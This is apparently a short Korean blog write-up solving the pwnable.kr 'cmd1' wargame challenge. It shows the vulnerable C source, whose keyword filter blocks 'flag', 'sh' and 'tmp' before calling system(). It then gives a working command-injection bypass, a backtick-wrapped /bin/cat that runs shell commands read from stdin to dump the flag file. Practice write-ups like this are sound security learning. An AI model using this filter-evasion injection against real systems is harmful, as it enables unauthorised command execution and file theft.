Pwnable.kr cmd1
Aug 21, 2016 · Wargame
cmd1@ubuntu:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
flag, sh, tmp라는 문자열을 필터링하는 문제이다. 하지만 이 문제는 system함수를 사용하므로 쉘의 기능을 이용하는걸 생각해 보아야 한다.
를 할 경우 command를 실행한 후 그 프로그램의 command
stdout
으로 나오는 내용을 쉘에서 실행하게 된다.
간단한 예제로 보게되면 다음과 같은 결과를 낼 수 있다.
cmd1@ubuntu:~$ `/bin/cat`
ls
^D
cmd1 cmd1.c flag
으로 감싼 cat을 실행할 때, cat은 입력을 그대로 출력한다.
그로인해 ls
를 입력했는데, 이 내용이 cmd1@ubuntu:~$ ls
와 같이 수행되게 된다. 이를 이용하여 문제를 해결해 보도록 하겠다.
cmd1@ubuntu:~$ ./cmd1 "\`/bin/cat\`"
/bin/cat /home/cmd1/flag
mommy now I get what PATH environment is for :)